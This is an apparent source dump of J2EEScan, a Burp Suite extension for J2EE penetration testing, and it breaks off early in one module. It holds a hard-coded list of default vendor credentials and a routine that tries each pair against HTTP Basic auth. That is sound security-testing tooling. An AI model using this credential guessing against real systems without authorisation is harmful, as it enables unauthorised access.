├── .gitignore ├── BappDescription.html ├── LICENSE ├── README.md ├── assets └── issues-example.png ├── pom.xml └── src └── main └── java └── burp ├── BurpExtender.java ├── CustomHttpRequestResponse.java ├── HTTPMatcher.java ├── HTTPParser.java ├── J2EELFIRetriever.java ├── J2EELocalAssessment.java ├── SoftwareVersions.java ├── WeakPassword.java ├── WeakPasswordBruteforcer.java └── j2ee ├── Confidence.java ├── CustomScanIssue.java ├── IssuesHandler.java ├── PassiveScanner.java ├── Risk.java ├── annotation ├── RunOnlyOnce.java └── RunOnlyOnceForApplicationContext.java ├── issues ├── IModule.java └── impl │ ├── AJPDetector.java │ ├── AJP_Tomcat_GhostCat.java │ ├── ApacheAxis.java │ ├── ApacheRollerOGNLInjection.java │ ├── ApacheSolrXXE.java │ ├── ApacheStrutsDebugMode.java │ ├── ApacheStrutsS2016.java │ ├── ApacheStrutsS2017.java │ ├── ApacheStrutsS2020.java │ ├── ApacheStrutsS2032.java │ ├── ApacheStrutsS2043.java │ ├── ApacheStrutsS2052.java │ ├── ApacheStrutsShowcase.java │ ├── ApacheStrutsWebConsole.java │ ├── ApacheWicketArbitraryResourceAccess.java │ ├── EL3Injection.java │ ├── ELInjection.java │ ├── FastJsonRCE.java │ ├── HTTPProxy.java │ ├── HTTPWeakPassword.java │ ├── Htaccess.java │ ├── IDocInjection.java │ ├── InfrastructurePathTraversal.java │ ├── JBossAdminConsole.java │ ├── JBossJMXInvoker.java │ ├── JBossJMXReadOnly.java │ ├── JBossJuddi.java │ ├── JBossWS.java │ ├── JBossWebConsole.java │ ├── JBossjBPMAdminConsole.java │ ├── JKStatus.java │ ├── JacksonDataBindCVE20177525.java │ ├── JavaServerFacesTraversal.java │ ├── JavascriptSSRF.java │ ├── JettyRemoteLeakage.java │ ├── LFIAbsoluteModule.java │ ├── LFIModule.java │ ├── LiferayAPI.java │ ├── LiferayDefaultCredentials.java │ ├── LiferayI18nServletResourceLeaks.java │ ├── LiferayJSONDeserializationCVE20207961.java │ ├── NextFrameworkPathTraversal.java │ ├── NodeJSPathTraversal.java │ ├── NodeJSRedirect.java │ ├── NodeJSResponseSplitting.java │ ├── OASConfigFilesDisclosure.java │ ├── OASSqlnetLogDisclosure.java │ ├── OracleCGIPrintEnv.java │ ├── OracleEBSSSRF.java │ ├── OracleEBSSSRFLCMServiceController.java │ ├── OracleReportService.java │ ├── PivotalSpringTraversalCVE20143625.java │ ├── PrimeFacesELInjection.java │ ├── RESTAPISwagger.java │ ├── SSRFScanner.java │ ├── Seam2RCE.java │ ├── SnoopResource.java │ ├── SpringBootActuator.java │ ├── SpringBootRestRCE.java │ ├── SpringCloudConfigPathTraversal.java │ ├── SpringDataCommonRCE.java │ ├── SpringWebFlowDataBindExpressionCVE20174971.java │ ├── StatusServlet.java │ ├── TomcatHostManager.java │ ├── TomcatManager.java │ ├── URINormalizationTomcat.java │ ├── UTF8ResponseSplitting.java │ ├── UndertowTraversal.java │ ├── WebInfInformationDisclosure.java │ ├── WeblogicCVE201710271.java │ ├── WeblogicCVE20192725.java │ ├── WeblogicConsole.java │ ├── WeblogicUDDIExplorer.java │ ├── WeblogicWebServiceTestPageCVE20182894.java │ ├── XInclude.java │ ├── XXEModule.java │ └── XXEParameterModule.java ├── lib ├── SimpleAjpClient.java └── TesterAjpMessage.java └── passive ├── ApacheStrutsS2023Rule.java ├── ApacheTomcatRule.java ├── ExceptionRule.java ├── HttpServerHeaderRule.java ├── JSPostMessage.java ├── JettyRule.java ├── LiferayRule.java ├── PassiveRule.java ├── SessionFixation.java ├── SessionIDInURL.java ├── SqlQueryRule.java └── strutstoken ├── ReplayRandom.java └── StrutsTokenCracker.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Package Files # 2 | *.jar 3 | *.war 4 | *.ear 5 | 6 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 7 | hs_err_pid* 8 | 9 | #ant specific 10 | dist/ 11 | build/ 12 | build.xml 13 | 14 | #netbeans specific 15 | core 16 | nbproject/* 17 | libs/* 18 | manifest.mf 19 | 20 | #java specific 21 | *.class 22 | 23 | #general swap/backup files 24 | *.so 25 | *.log 26 | *.out 27 | *~ 28 | *.swp 29 | *.DS_Store 30 | *.lock 31 | 32 | #idea specific 33 | .classpath 34 | .project 35 | .settings 36 | .idea 37 | .metadata 38 | *.iml 39 | *.ipr 40 | **/*~ 41 | /target/ 42 | /test/ 43 | -------------------------------------------------------------------------------- /BappDescription.html: -------------------------------------------------------------------------------- 1 |

2 | The goal of this extension is to improve the test coverage during web application penetration tests on J2EE applications. 3 | J2EEScan adds more than 80+ unique security test cases and new strategies to discover different kind of J2EE vulnerabilities. 4 |

5 | 6 |
7 | 8 |

Please refer to the official page for the updated test case list https://github.com/ilmila/J2EEScan.

9 | 10 |
11 |
12 | -------------------------------------------------------------------------------- /assets/issues-example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ilmila/J2EEScan/1936af81732b8abfa9e4447c80335986d487460f/assets/issues-example.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 4.0.0 5 | 6 | org.em 7 | J2EEScan 8 | 2.0.1-dev 9 | jar 10 | 11 | 12 | 13 | 14 | net.portswigger.burp.extender 15 | burp-extender-api 16 | 1.7.22 17 | provided 18 | 19 | 20 | 21 | org.xerial 22 | sqlite-jdbc 23 | 3.16.1 24 | 25 | 26 | 27 | commons-collections 28 | commons-collections 29 | 3.2.2 30 | 31 | 32 | 33 | org.apache.commons 34 | commons-lang3 35 | 3.1 36 | jar 37 | 38 | 39 | 40 | 41 | org.jsoup 42 | jsoup 43 | 1.8.1 44 | 45 | 46 | 47 | 48 | junit 49 | junit 50 | 4.13.1 51 | test 52 | 53 | 54 | 55 | org.mockito 56 | mockito-all 57 | 1.10.19 58 | test 59 | 60 | 61 | org.apache.tomcat 62 | tomcat-coyote 63 | 7.0.39 64 | jar 65 | 66 | 67 | 68 | 69 | 70 | 71 | maven-assembly-plugin 72 | 73 | 74 | 75 | jar-with-dependencies 76 | 77 | 78 | 79 | 80 | true 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | make-assembly 89 | package 90 | 91 | single 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | UTF-8 102 | 1.7 103 | 1.7 104 | 105 | 106 | -------------------------------------------------------------------------------- /src/main/java/burp/CustomHttpRequestResponse.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | public class CustomHttpRequestResponse implements IHttpRequestResponse { 5 | 6 | private byte[] _request = null; 7 | private byte[] _response = null; 8 | private IHttpService _httpService; 9 | private String _comment = ""; 10 | 11 | 12 | 13 | public CustomHttpRequestResponse(byte[] request, byte[] response, IHttpService httpService){ 14 | this._request = request; 15 | this._response = response; 16 | this._httpService = httpService; 17 | } 18 | 19 | @Override 20 | public byte[] getRequest() { 21 | return this._request; 22 | } 23 | 24 | 25 | @Override 26 | public byte[] getResponse() { 27 | return this._response; 28 | } 29 | 30 | 31 | @Override 32 | public String getComment() { 33 | return this._comment; 34 | } 35 | 36 | 37 | @Override 38 | public void setComment(String comment) { 39 | this._comment = ""; 40 | } 41 | 42 | @Override 43 | public void setRequest(byte[] message) { 44 | this._request = message; 45 | } 46 | 47 | 48 | 49 | @Override 50 | public void setResponse(byte[] message) { 51 | this._response = message; 52 | } 53 | 54 | @Override 55 | public String getHighlight() { 56 | return ""; 57 | } 58 | 59 | @Override 60 | public void setHighlight(String color) { 61 | throw new UnsupportedOperationException("Not supported yet."); 62 | } 63 | 64 | @Override 65 | public IHttpService getHttpService() { 66 | return this._httpService; 67 | } 68 | 69 | @Override 70 | public void setHttpService(IHttpService httpService) { 71 | this._httpService = httpService; 72 | } 73 | } -------------------------------------------------------------------------------- /src/main/java/burp/HTTPParser.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.MalformedURLException; 4 | import java.net.URI; 5 | import java.net.URISyntaxException; 6 | import java.net.URL; 7 | import java.util.Iterator; 8 | import java.util.List; 9 | 10 | public class HTTPParser { 11 | 12 | public static String getRequestHeaderValue(IRequestInfo requestInfo, String headerName) { 13 | headerName = headerName.toLowerCase().replace(":", ""); 14 | for (String header : requestInfo.getHeaders()) { 15 | if (header.toLowerCase().startsWith(headerName)) { 16 | return header.split(":", 0)[1]; 17 | } 18 | } 19 | return null; 20 | } 21 | 22 | public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) { 23 | headerName = headerName.toLowerCase().replace(":", ""); 24 | for (String header : responseInfo.getHeaders()) { 25 | if (header.toLowerCase().startsWith(headerName)) { 26 | return header.split(":", 2)[1]; 27 | } 28 | } 29 | return null; 30 | } 31 | 32 | public static List addOrUpdateHeader(List headers, String newHeader, String newHeaderValue) { 33 | 34 | Iterator iter = headers.iterator(); 35 | while (iter.hasNext()) { 36 | if (iter.next().toLowerCase().contains(newHeader.toLowerCase())) { 37 | iter.remove(); 38 | } 39 | } 40 | headers.add(String.format("%s: %s", newHeader, newHeaderValue)); 41 | return headers; 42 | } 43 | 44 | public static String getHTTPBasicCredentials(IRequestInfo requestInfo) throws Exception { 45 | String authHeader = getRequestHeaderValue(requestInfo, "Authorization").trim(); 46 | String[] parts = authHeader.split("\\s"); 47 | 48 | if (parts.length != 2) { 49 | throw new Exception("Wrong number of HTTP Authorization header parts"); 50 | } 51 | 52 | if (!parts[0].equalsIgnoreCase("Basic")) { 53 | throw new Exception("HTTP authentication must be Basic"); 54 | } 55 | 56 | return parts[1]; 57 | } 58 | 59 | public static URL concatenate(URL baseUrl, String extraPath) throws URISyntaxException, MalformedURLException { 60 | URI uri = baseUrl.toURI(); 61 | 62 | String newPath = uri.getPath() + "/" + extraPath; 63 | URI newUri = uri.resolve(newPath); 64 | 65 | return newUri.toURL(); 66 | } 67 | 68 | public static Boolean isJSONRequest(String contentTypeHeader) { 69 | 70 | return (contentTypeHeader.contains("json")) || 71 | contentTypeHeader.contains("application/x-javascript") || 72 | contentTypeHeader.contains("application/javascript"); 73 | 74 | } 75 | 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/burp/SoftwareVersions.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.j2ee.Confidence; 4 | import burp.j2ee.CustomScanIssue; 5 | import burp.j2ee.Risk; 6 | import java.util.Arrays; 7 | import java.util.List; 8 | 9 | 10 | /** 11 | * Knowledge Base to push vulnerabilities based on the remote version detected 12 | * 13 | * 14 | */ 15 | public class SoftwareVersions { 16 | 17 | public static void getIssues( 18 | String software, 19 | String release, 20 | IBurpExtenderCallbacks callbacks, 21 | IHttpRequestResponse baseRequestResponse) { 22 | 23 | IExtensionHelpers helpers = callbacks.getHelpers(); 24 | IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse); 25 | 26 | 27 | /** 28 | * Apache Tomcat 29 | */ 30 | if (software.equalsIgnoreCase("Apache Tomcat")) { 31 | 32 | /** 33 | * End of Life - Apache Tomcat 34 | * Apache Tomcat 5.x 35 | * - http://tomcat.apache.org/tomcat-55-eol.html 36 | * Apache Tomcat 6.x 37 | * - http://tomcat.apache.org/tomcat-60-eol.html 38 | * Apache Tomcat 7.x 39 | * - http://tomcat.apache.org/tomcat-70-eol.html 40 | * Apache Tomcat 8.0 41 | * - http://tomcat.apache.org/tomcat-80-eol.html 42 | * . 43 | */ 44 | List vulnerableTomcatReleases; 45 | vulnerableTomcatReleases = Arrays.asList(4, 5, 6, 8); 46 | 47 | // TODO replace with regexp 48 | if ( vulnerableTomcatReleases.contains(Integer.parseInt(release.substring(0, 1))) && !release.startsWith("8.5") ) { 49 | 50 | callbacks.addScanIssue(new CustomScanIssue( 51 | baseRequestResponse.getHttpService(), 52 | requestInfo.getUrl(), 53 | baseRequestResponse, 54 | "End of Life Software - Apache Tomcat " + release, 55 | "J2EEScan identified an unsupported release of Apache Tomcat " + release + ".
" 56 | + "No more security updates for this version will be released by Apache

" 57 | + "References
" 58 | + "http://tomcat.apache.org/tomcat-55-eol.html
" 59 | + "https://tomcat.apache.org/tomcat-60-eol.html
" 60 | + "https://tomcat.apache.org/tomcat-80-eol.html", 61 | "Update the Apache Servlet Container with the last stable release", 62 | Risk.High, 63 | Confidence.Certain 64 | )); 65 | } 66 | } 67 | 68 | 69 | 70 | /** 71 | * Jetty 72 | */ 73 | if (software.equalsIgnoreCase("Jetty")) { 74 | 75 | /** 76 | * End of Life - Jetty 77 | */ 78 | if ( Integer.parseInt(release.substring(0, 1)) < 9 ) { 79 | 80 | callbacks.addScanIssue(new CustomScanIssue( 81 | baseRequestResponse.getHttpService(), 82 | requestInfo.getUrl(), 83 | baseRequestResponse, 84 | "End of Life Software - Jetty " + release, 85 | "J2EEScan identified an unsupported release of Jetty " + release + ".
" 86 | + "No more security updates for this version will be released by the vendor

" 87 | + "References
" 88 | + "https://wiki.eclipse.org/Jetty/Starting/Jetty_Version_Comparison_Table
", 89 | "Update the Jetty Container with the last stable release", 90 | Risk.High, 91 | Confidence.Certain 92 | )); 93 | } 94 | } 95 | 96 | 97 | /** 98 | * Oracle Application Server 99 | */ 100 | if (software.equalsIgnoreCase("Oracle Application Server")) { 101 | 102 | /** 103 | * End of Life - Oracle Application Server 104 | */ 105 | if (release.startsWith("9.") || release.startsWith("10.1.2")) { 106 | 107 | callbacks.addScanIssue(new CustomScanIssue( 108 | baseRequestResponse.getHttpService(), 109 | requestInfo.getUrl(), 110 | baseRequestResponse, 111 | "End of Life Software - Oracle Application Server " + release, 112 | "J2EEScan identified an unsupported release of Oracle Application Server " + release + ".
" 113 | + "No more security updates for this version will be released by the vendor

" 114 | + "References
" 115 | + "http://www.oracle.com/us/support/library/lifetime-support-middleware-069163.pdf
", 116 | "Update the Oracle Application Server with the last stable release", 117 | Risk.High, 118 | Confidence.Tentative 119 | )); 120 | } 121 | } 122 | 123 | 124 | 125 | 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /src/main/java/burp/WeakPassword.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.AbstractMap; 4 | import java.util.ArrayList; 5 | import java.util.List; 6 | import java.util.Map; 7 | 8 | public class WeakPassword { 9 | 10 | public final List> credentials; 11 | 12 | public WeakPassword() { 13 | credentials = new ArrayList<>(); 14 | } 15 | 16 | public void addCredential(Map.Entry credential) { 17 | credentials.add(credential); 18 | } 19 | 20 | /** 21 | * Get a list of common username and password couples 22 | * 23 | * @return 24 | */ 25 | public List> getCredentials() { 26 | 27 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "tomcat")); 28 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "manager")); 29 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "jboss")); 30 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "password")); 31 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "")); 32 | credentials.add(new AbstractMap.SimpleEntry<>("both", "manager")); 33 | credentials.add(new AbstractMap.SimpleEntry<>("both", "tomcat")); 34 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "password")); 35 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "tomcat")); 36 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "manager")); 37 | credentials.add(new AbstractMap.SimpleEntry<>("manager", "manager")); 38 | credentials.add(new AbstractMap.SimpleEntry<>("manager", "tomcat")); 39 | credentials.add(new AbstractMap.SimpleEntry<>("role1", "role1")); 40 | credentials.add(new AbstractMap.SimpleEntry<>("role1", "tomcat")); 41 | credentials.add(new AbstractMap.SimpleEntry<>("role", "changethis")); 42 | credentials.add(new AbstractMap.SimpleEntry<>("root", "changethis")); 43 | credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "changethis")); 44 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "j5Brn9")); // Sun Solaris 45 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "admin")); 46 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "root")); 47 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "password")); 48 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "")); 49 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "1234")); 50 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "axis2")); 51 | credentials.add(new AbstractMap.SimpleEntry<>("test", "test")); 52 | credentials.add(new AbstractMap.SimpleEntry<>("monitor", "monitor")); 53 | credentials.add(new AbstractMap.SimpleEntry<>("guest", "guest")); 54 | credentials.add(new AbstractMap.SimpleEntry<>("root", "")); 55 | credentials.add(new AbstractMap.SimpleEntry<>("root", "root")); 56 | credentials.add(new AbstractMap.SimpleEntry<>("root", "admin")); 57 | credentials.add(new AbstractMap.SimpleEntry<>("root", "password")); 58 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic")); 59 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic1")); 60 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic01")); 61 | credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "welcome1")); 62 | credentials.add(new AbstractMap.SimpleEntry<>("admin", "security")); 63 | credentials.add(new AbstractMap.SimpleEntry<>("oracle", "oracle")); 64 | credentials.add(new AbstractMap.SimpleEntry<>("system", "security")); 65 | credentials.add(new AbstractMap.SimpleEntry<>("system", "password")); 66 | credentials.add(new AbstractMap.SimpleEntry<>("wlcsystem", "wlcsystem")); 67 | credentials.add(new AbstractMap.SimpleEntry<>("wlpisystem", "wlpisystem")); 68 | 69 | // Orbeon forms 70 | credentials.add(new AbstractMap.SimpleEntry<>("orbeonadmin", "xforms")); 71 | 72 | return credentials; 73 | 74 | } 75 | 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/burp/WeakPasswordBruteforcer.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.j2ee.PassiveScanner; 4 | 5 | import java.io.PrintWriter; 6 | import java.net.URL; 7 | import java.util.ArrayList; 8 | import java.util.Iterator; 9 | import java.util.List; 10 | import java.util.Map; 11 | 12 | public class WeakPasswordBruteforcer { 13 | 14 | private static PrintWriter stderr; 15 | private static PrintWriter stdout; 16 | 17 | /** 18 | * HTTP Basic Authentication (rfc-2617) Weak Password test 19 | * 20 | * @param callbacks 21 | * @param urlToTest 22 | * @return 23 | */ 24 | public CustomHttpRequestResponse HTTPBasicBruteforce(IBurpExtenderCallbacks callbacks, final URL urlToTest) { 25 | 26 | 27 | IExtensionHelpers helpers = callbacks.getHelpers(); 28 | stderr = new PrintWriter(callbacks.getStderr(), true); 29 | stdout = new PrintWriter(callbacks.getStdout(), true); 30 | 31 | List> credentials; 32 | WeakPassword wp = new WeakPassword(); 33 | credentials = wp.getCredentials(); 34 | 35 | byte[] httpAuthTest = helpers.buildHttpRequest(urlToTest); 36 | 37 | String protocol = urlToTest.getProtocol(); 38 | Boolean isSSL = (protocol.equals("https")); 39 | 40 | byte[] response = callbacks.makeHttpRequest(urlToTest.getHost(), 41 | urlToTest.getPort(), isSSL, httpAuthTest); 42 | 43 | IResponseInfo responseInfo = helpers.analyzeResponse(response); 44 | 45 | if (responseInfo.getStatusCode() == 401) { 46 | stdout.println("Checking weak credentials on " + urlToTest); 47 | 48 | //Retrieve request headers 49 | IRequestInfo requestInfo = helpers.analyzeRequest(httpAuthTest); 50 | List requestHeaders = requestInfo.getHeaders(); 51 | 52 | for (Map.Entry credential : credentials) { 53 | 54 | try { 55 | List requestHeadersToTest = new ArrayList<>(requestHeaders); 56 | 57 | String user = credential.getKey(); 58 | String pwd = credential.getValue(); 59 | 60 | requestHeadersToTest.add("Authorization: Basic " 61 | + helpers.base64Encode(user + ":" + pwd)); 62 | 63 | byte[] makeHttpRequest = helpers.buildHttpMessage(requestHeadersToTest, null); 64 | 65 | byte[] responseWeakPassword = callbacks.makeHttpRequest(urlToTest.getHost(), 66 | urlToTest.getPort(), 67 | isSSL, 68 | makeHttpRequest); 69 | 70 | IResponseInfo httpAuthAttemptResponse = helpers.analyzeResponse(responseWeakPassword); 71 | IHttpService httpServiceInstance = new IHttpService() { 72 | 73 | @Override 74 | public String getHost() { 75 | return urlToTest.getHost(); 76 | } 77 | 78 | @Override 79 | public int getPort() { 80 | return urlToTest.getPort(); 81 | } 82 | 83 | @Override 84 | public String getProtocol() { 85 | return urlToTest.getProtocol(); 86 | } 87 | }; 88 | 89 | // Weak Password found 90 | if (httpAuthAttemptResponse.getStatusCode() == 200) { 91 | stdout.println("[!] Weak Credentils " + user + ":" + pwd+ " on " + urlToTest); 92 | CustomHttpRequestResponse result = new CustomHttpRequestResponse( 93 | makeHttpRequest, 94 | responseWeakPassword, 95 | httpServiceInstance); 96 | 97 | 98 | PassiveScanner.scanVulnerabilities(result, callbacks); 99 | 100 | return result; 101 | } 102 | 103 | } catch (Exception e) { 104 | stderr.println("Error during HTTP Bruteforcing on " 105 | + urlToTest + ". Error " + e); 106 | } 107 | } 108 | 109 | } 110 | 111 | return null; 112 | 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/Confidence.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee; 2 | 3 | public enum Confidence { 4 | 5 | Certain("Certain"), Firm("Firm"), Tentative("Tentative"); 6 | private String confidence; 7 | 8 | private Confidence(String confidence) { 9 | this.confidence = confidence; 10 | 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/CustomScanIssue.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee; 2 | 3 | import burp.IHttpRequestResponse; 4 | import burp.IHttpService; 5 | import burp.IScanIssue; 6 | 7 | import java.net.URL; 8 | 9 | public class CustomScanIssue implements IScanIssue { 10 | 11 | private IHttpService httpService; 12 | private URL url; 13 | private IHttpRequestResponse httpMessages; 14 | private String name; 15 | private String detail; 16 | private Risk severity; 17 | private String remedy; 18 | private Confidence confidence = Confidence.Certain; 19 | 20 | public CustomScanIssue( 21 | IHttpService httpService, 22 | URL url, 23 | IHttpRequestResponse httpMessages, 24 | String name, 25 | String detail, 26 | String remedy, 27 | Risk severity, 28 | Confidence confidence) { 29 | this.httpService = httpService; 30 | this.url = url; 31 | this.httpMessages = httpMessages; 32 | this.name = "J2EEScan - " + name; 33 | this.detail = detail; 34 | this.remedy = remedy; 35 | this.severity = severity; 36 | this.confidence = confidence; 37 | } 38 | 39 | 40 | @Override 41 | public URL getUrl() { 42 | return url; 43 | } 44 | 45 | @Override 46 | public String getIssueName() { 47 | return name; 48 | } 49 | 50 | @Override 51 | public int getIssueType() { 52 | return 0; 53 | } 54 | 55 | @Override 56 | public String getSeverity() { 57 | return severity.toString(); 58 | } 59 | 60 | @Override 61 | // "Certain", "Firm" or "Tentative" 62 | public String getConfidence() { 63 | return confidence.toString(); 64 | } 65 | 66 | @Override 67 | public String getIssueBackground() { 68 | return null; 69 | } 70 | 71 | @Override 72 | public String getRemediationBackground() { 73 | return null; 74 | } 75 | 76 | @Override 77 | public String getIssueDetail() { 78 | return detail; 79 | } 80 | 81 | @Override 82 | public String getRemediationDetail() { 83 | return remedy; 84 | } 85 | 86 | @Override 87 | public IHttpRequestResponse[] getHttpMessages() { 88 | return new IHttpRequestResponse[]{httpMessages}; 89 | } 90 | 91 | @Override 92 | public IHttpService getHttpService() { 93 | return httpService; 94 | } 95 | 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/IssuesHandler.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IScanIssue; 5 | 6 | 7 | public class IssuesHandler { 8 | 9 | 10 | /** 11 | * 12 | * Verify for a specific protocol - host a specific 13 | * issue has been already detected 14 | * 15 | * @param callbacks IBurpExtenderCallbacks 16 | * @param vulnerabilityName vulnerability to check if it's present into the issues 17 | * @param protocol (http/https) 18 | * @param host the hostname 19 | * 20 | */ 21 | public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks, 22 | String vulnerabilityName, 23 | String protocol, 24 | String host) { 25 | 26 | IScanIssue[] allIssues; 27 | 28 | allIssues = callbacks.getScanIssues(protocol + "://" + host); 29 | 30 | for (IScanIssue a : allIssues) { 31 | 32 | if (a.getIssueName().contains(vulnerabilityName)) { 33 | return true; 34 | } 35 | } 36 | 37 | return false; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/PassiveScanner.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee; 2 | 3 | import burp.HTTPParser; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IResponseInfo; 9 | import burp.j2ee.passive.ApacheStrutsS2023Rule; 10 | import burp.j2ee.passive.ApacheTomcatRule; 11 | import burp.j2ee.passive.ExceptionRule; 12 | import burp.j2ee.passive.HttpServerHeaderRule; 13 | import burp.j2ee.passive.JSPostMessage; 14 | import burp.j2ee.passive.JettyRule; 15 | import burp.j2ee.passive.LiferayRule; 16 | import burp.j2ee.passive.PassiveRule; 17 | import burp.j2ee.passive.SessionFixation; 18 | import burp.j2ee.passive.SessionIDInURL; 19 | import burp.j2ee.passive.SqlQueryRule; 20 | 21 | 22 | public class PassiveScanner { 23 | 24 | /** 25 | * List of passive rules 26 | */ 27 | static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(), 28 | new ExceptionRule(), 29 | new HttpServerHeaderRule(), 30 | new SqlQueryRule(), 31 | new ApacheStrutsS2023Rule(), 32 | new JettyRule(), 33 | new SessionIDInURL(), 34 | new JSPostMessage(), 35 | new SessionFixation(), 36 | new LiferayRule() 37 | }; 38 | 39 | public static void scanVulnerabilities(IHttpRequestResponse baseRequestResponse, 40 | IBurpExtenderCallbacks callbacks) { 41 | 42 | IExtensionHelpers helpers = callbacks.getHelpers(); 43 | 44 | byte[] rawRequest = baseRequestResponse.getRequest(); 45 | byte[] rawResponse = baseRequestResponse.getResponse(); 46 | 47 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 48 | IResponseInfo respInfo = helpers.analyzeResponse(rawResponse); 49 | 50 | //Body (without the headers) 51 | String reqBody = getBodySection(rawRequest, reqInfo.getBodyOffset()); 52 | String respBody = getBodySection(rawResponse, respInfo.getBodyOffset()); 53 | 54 | String httpServerHeader = HTTPParser.getResponseHeaderValue(respInfo, "Server"); 55 | String contentTypeResponse = HTTPParser.getResponseHeaderValue(respInfo, "Content-Type"); 56 | String xPoweredByHeader = HTTPParser.getResponseHeaderValue(respInfo, "X-Powered-By"); 57 | 58 | for(PassiveRule scanner : PASSIVE_RULES) { 59 | scanner.scan(callbacks,baseRequestResponse,reqBody,respBody,reqInfo,respInfo, 60 | httpServerHeader,contentTypeResponse, xPoweredByHeader); 61 | } 62 | 63 | } 64 | 65 | 66 | private static String getBodySection(byte[] respBytes, int bodyOffset) { 67 | return new String(respBytes, bodyOffset, respBytes.length - bodyOffset); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/Risk.java: -------------------------------------------------------------------------------- 1 | 2 | package burp.j2ee; 3 | 4 | 5 | public enum Risk { 6 | 7 | High("High"), Medium("Medium"), Low("Low"), Information("Information"); 8 | private String risk; 9 | 10 | private Risk(String risk){ 11 | this.risk = risk; 12 | 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/annotation/RunOnlyOnce.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * 10 | * Custom annotation to mark those modules which should be executed only once. 11 | * 12 | * This strategy reduce the scan time execution and avoid duplicate checks on the remote target 13 | * 14 | */ 15 | @Target(value = ElementType.METHOD) 16 | @Retention(value = RetentionPolicy.RUNTIME) 17 | public @interface RunOnlyOnce { 18 | 19 | } -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/annotation/RunOnlyOnceForApplicationContext.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | /** 9 | * 10 | * Custom annotation to mark those modules which should be executed only once 11 | * for every application context. 12 | * 13 | * This strategy reduce the scan time execution and avoid duplicate checks on the remote target 14 | * 15 | */ 16 | @Target(value = ElementType.METHOD) 17 | @Retention(value = RetentionPolicy.RUNTIME) 18 | public @interface RunOnlyOnceForApplicationContext { 19 | 20 | } -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/IModule.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues; 2 | 3 | 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IHttpRequestResponse; 6 | import burp.IScanIssue; 7 | import burp.IScannerInsertionPoint; 8 | import java.util.List; 9 | 10 | public interface IModule { 11 | 12 | public List scan(IBurpExtenderCallbacks callbacks, 13 | IHttpRequestResponse baseRequestResponse, 14 | IScannerInsertionPoint insertionPoint); 15 | } -------------------------------------------------------------------------------- /src/main/java/burp/j2ee/issues/impl/AJPDetector.java: -------------------------------------------------------------------------------- 1 | package burp.j2ee.issues.impl; 2 | 3 | import burp.CustomHttpRequestResponse; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IExtensionHelpers; 6 | import burp.IHttpRequestResponse; 7 | import burp.IRequestInfo; 8 | import burp.IScanIssue; 9 | import burp.IScannerInsertionPoint; 10 | import burp.j2ee.Confidence; 11 | import burp.j2ee.CustomScanIssue; 12 